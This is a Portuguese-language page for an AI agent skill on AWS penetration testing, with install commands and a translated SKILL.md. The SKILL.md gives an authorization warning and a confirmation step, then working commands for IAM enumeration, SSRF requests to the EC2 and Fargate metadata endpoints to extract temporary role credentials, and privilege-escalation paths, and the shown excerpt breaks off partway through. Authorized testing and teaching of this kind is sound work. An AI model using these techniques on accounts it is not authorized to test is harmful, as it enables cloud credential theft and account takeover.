aws-penetration-testing
Ensina técnicas para testar a segurança de ambientes AWS, buscando falhas e vulnerabilidades.
O que ela faz
Esta ferramenta ajuda a testar a segurança de ambientes na nuvem da Amazon (AWS). Ela procura por falhas que poderiam ser exploradas por invasores, como acesso indevido a informações ou permissões elevadas.
Quando usar
- ✓Para testar a segurança de sua própria conta AWS.
- ✓Em ambientes de treinamento para aprender sobre segurança na nuvem.
- ✓Quando autorizado por um proprietário de sistema para uma avaliação de segurança.
Exemplo do que pedir para a IA
“Quero testar a segurança da minha conta AWS. Quais comandos devo usar para verificar as permissões?”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta usa comandos específicos da AWS e outras ferramentas de segurança para analisar permissões, encontrar vulnerabilidades e tentar acessos não autorizados. Ela simula ataques para identificar pontos fracos.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add sickn33/agentic-awesome-skills --skill aws-penetration-testingOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/aws-penetration-testing/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.
Porta de confirmação obrigatória Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:
- Peça ao usuário para declarar o URL exato do alvo, IP, conta ou recurso.
- Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
- Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
- Aguarde a confirmação explícita na conversa atual.
Sem essa confirmação, permaneça apenas em modo de leitura e forneça orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.
USO AUTORIZADO APENAS: Use esta habilidade apenas para avaliações de segurança autorizadas, validação defensiva ou ambientes educacionais controlados.
Teste de Penetração AWS
Propósito
Fornecer técnicas abrangentes para testes de penetração em ambientes de nuvem AWS. Abrange enumeração de IAM, escalonamento de privilégios, SSRF para endpoint de metadados, exploração de bucket S3, extração de código Lambda e técnicas de persistência para operações de equipe vermelha.
Entradas/Pré-requisitos
- AWS CLI configurado com credenciais
- Credenciais AWS válidas (mesmo de baixo privilégio)
- Compreensão do modelo AWS IAM
- Python 3, biblioteca boto3
- Ferramentas: Pacu, Prowler, ScoutSuite, SkyArk
Saídas/Entregas
- Caminhos de escalonamento de privilégios do IAM
- Credenciais e segredos extraídos
- Recursos EC2/Lambda/S3 comprometidos
- Mecanismos de persistência
- Achados de auditoria de segurança
Ferramentas Essenciais
| Ferramenta | Propósito | Instalação |
|---|---|---|
| Pacu | Framework de exploração AWS | git clone https://github.com/RhinoSecurityLabs/pacu |
| SkyArk | Descoberta de Shadow Admin | Import-Module .\SkyArk.ps1 |
| Prowler | Auditoria de segurança | pip install prowler |
| ScoutSuite | Auditoria multi-cloud | pip install scoutsuite |
| enumerate-iam | Enumeração de permissões | git clone https://github.com/andresriancho/enumerate-iam |
| Principal Mapper | Análise de IAM | pip install principalmapper |
Fluxo de Trabalho Principal
Etapa 1: Enumeração Inicial
Identifique a identidade e as permissões comprometidas:
# Check current identity
aws sts get-caller-identity
# Configure profile
aws configure --profile compromised
# List access keys
aws iam list-access-keys
# Enumerate permissions
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
Etapa 2: Enumeração de IAM
# List all users
aws iam list-users
# List groups for user
aws iam list-groups-for-user --user-name TARGET_USER
# List attached policies
aws iam list-attached-user-policies --user-name TARGET_USER
# List inline policies
aws iam list-user-policies --user-name TARGET_USER
# Get policy details
aws iam get-policy --policy-arn POLICY_ARN
aws iam get-policy-version --policy-arn POLICY_ARN --version-id v1
# List roles
aws iam list-roles
aws iam list-attached-role-policies --role-name ROLE_NAME
Etapa 3: SSRF de Metadados (EC2)
Explore SSRF para acessar o endpoint de metadados (IMDSv1):
# Access metadata endpoint
http://169.254.169.254/latest/meta-data/
# Get IAM role name
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Extract temporary credentials
http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME
# Response contains:
{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2019-08-01T05:20:30Z"
}
Para IMDSv2 (token necessário):
# Get token first
TOKEN=$(curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
"http://169.254.169.254/latest/api/token")
# Use token for requests
curl -H "X-aws-ec2-metadata-token:$TOKEN" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/"
Credenciais de Contêiner Fargate:
# Read environment for credential path
/proc/self/environ
# Look for: AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/...
# Access credentials
http://169.254.170.2/v2/credentials/CREDENTIAL-PATH
Técnicas de Escalonamento de Privilégios
Permissões de Shadow Admin
Essas permissões são equivalentes a administrador:
| Permissão | Exploração |
|---|---|
iam:CreateAccessKey |
Criar chaves para usuário admin |
…
Perguntas frequentes
Preciso ter permissão para usar esta ferramenta?
Sim, é crucial ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso não autorizado é ilegal.
O que são 'privilege escalation'?
Significa conseguir permissões maiores do que as que você deveria ter. Por exemplo, um usuário comum que consegue acesso de administrador.
Quais ferramentas são usadas?
Ferramentas como Pacu, Prowler, ScoutSuite, SkyArk e outras são usadas para automatizar a busca por vulnerabilidades e a coleta de informações.
Detalhes
Descrição original do autor
Provide comprehensive techniques for penetration testing AWS cloud environments. Covers IAM enumeration, privilege escalation, SSRF to metadata endpoint, S3 bucket exploitation, Lambda code extraction, and persistence techniques for red team operations.
Popularidade
- Estrelas no GitHub
- 48 mil
- Posição no ranking
- #2249
- Licença
- MIT
- Atualizada em
- 15/10/2026
Comentários
- …
Mais skills deste repositório
00-andruia-consultant
Ajuda seu agente a iniciar ou melhorar projetos de IA. Ele analisa código, sugere ferramentas e cria planos de ação em espanhol.
sickn33/agentic-awesome-skills
007
Faz seu agente realizar auditorias de segurança e modelagem de ameaças. É útil para proteger projetos contra ataques e vulnerabilidades.
sickn33/agentic-awesome-skills
10-andruia-skill-smith
Ajuda seu agente a criar ou melhorar ferramentas de IA. Ele define como as ferramentas funcionam, escreve a documentação e valida a estrutura.
sickn33/agentic-awesome-skills
20-andruia-niche-intelligence
Faz seu agente criar um resumo sobre um setor específico. É útil para entender o contexto, regras, padrões de uso e riscos de um projeto, usando fontes confiáveis.
sickn33/agentic-awesome-skills
Skills parecidas
django-security
Ajuda seu agente a implementar práticas de segurança em aplicações Django. Ele foca em autenticação, autorização e prevenção contra ataques comuns, garantindo um código mais seguro.
affaan-m/ECC
laravel-security
Ajuda seu agente a proteger aplicações Laravel contra ameaças. Implementa práticas de segurança para autenticação, autorização e prevenção de ataques comuns.
affaan-m/ECC
module-regression
Ajuda seu agente a gerenciar mudanças em projetos grandes. Garante que alterações em uma parte do código não quebrem outras partes.
affaan-m/ECC